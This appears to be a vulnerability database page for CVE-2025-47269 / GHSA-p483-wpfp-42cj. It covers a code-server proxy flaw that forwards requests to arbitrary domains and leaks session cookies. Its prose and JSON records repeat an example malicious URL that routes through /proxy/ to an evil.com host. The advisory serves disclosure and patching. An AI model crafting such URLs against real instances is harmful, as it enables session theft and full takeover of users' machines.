github - ghsa-p483-wpfp-42cj

GHSA-P483-WPFP-42CJ

Vulnerability from github – Published: 2025-05-09 19:34 – Updated: 2025-05-09 21:39

Summary

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Details

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Severity ?

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "code-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.99.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-09T19:34:35Z",
    "nvd_published_at": "2025-05-09T21:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
  "id": "GHSA-p483-wpfp-42cj",
  "modified": "2025-05-09T21:39:15Z",
  "published": "2025-05-09T19:34:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/code-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-server\u0027s session cookie can be extracted by having user visit specially crafted proxy URL"
}

CVE-2025-47269 (GCVE-0-2025-47269)

Vulnerability from cvelistv5 – Published: 2025-05-09 20:59 – Updated: 2025-05-10 01:45

Summary

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Severity ?

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CWE

CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/coder/code-server/security/adv…	x_refsource_CONFIRM
	https://github.com/coder/code-server/commit/47d6d…	x_refsource_MISC
	https://github.com/coder/code-server/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	coder	code-server	Affected: < 4.99.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-47269",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-10T01:44:34.818502Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-10T01:45:13.443Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "code-server",
          "vendor": "coder",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.99.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-441",
              "description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-09T20:59:01.510Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
        },
        {
          "name": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
        },
        {
          "name": "https://github.com/coder/code-server/releases/tag/v4.99.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
        }
      ],
      "source": {
        "advisory": "GHSA-p483-wpfp-42cj",
        "discovery": "UNKNOWN"
      },
      "title": "code-server session cookie can be extracted by having user visit specially crafted proxy URL"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-47269",
    "datePublished": "2025-05-09T20:59:01.510Z",
    "dateReserved": "2025-05-05T16:53:10.371Z",
    "dateUpdated": "2025-05-10T01:45:13.443Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-P483-WPFP-42CJ

Summary

Details

Impact

Patches

CVE-2025-47269 (GCVE-0-2025-47269)

Tags

Sightings

Nomenclature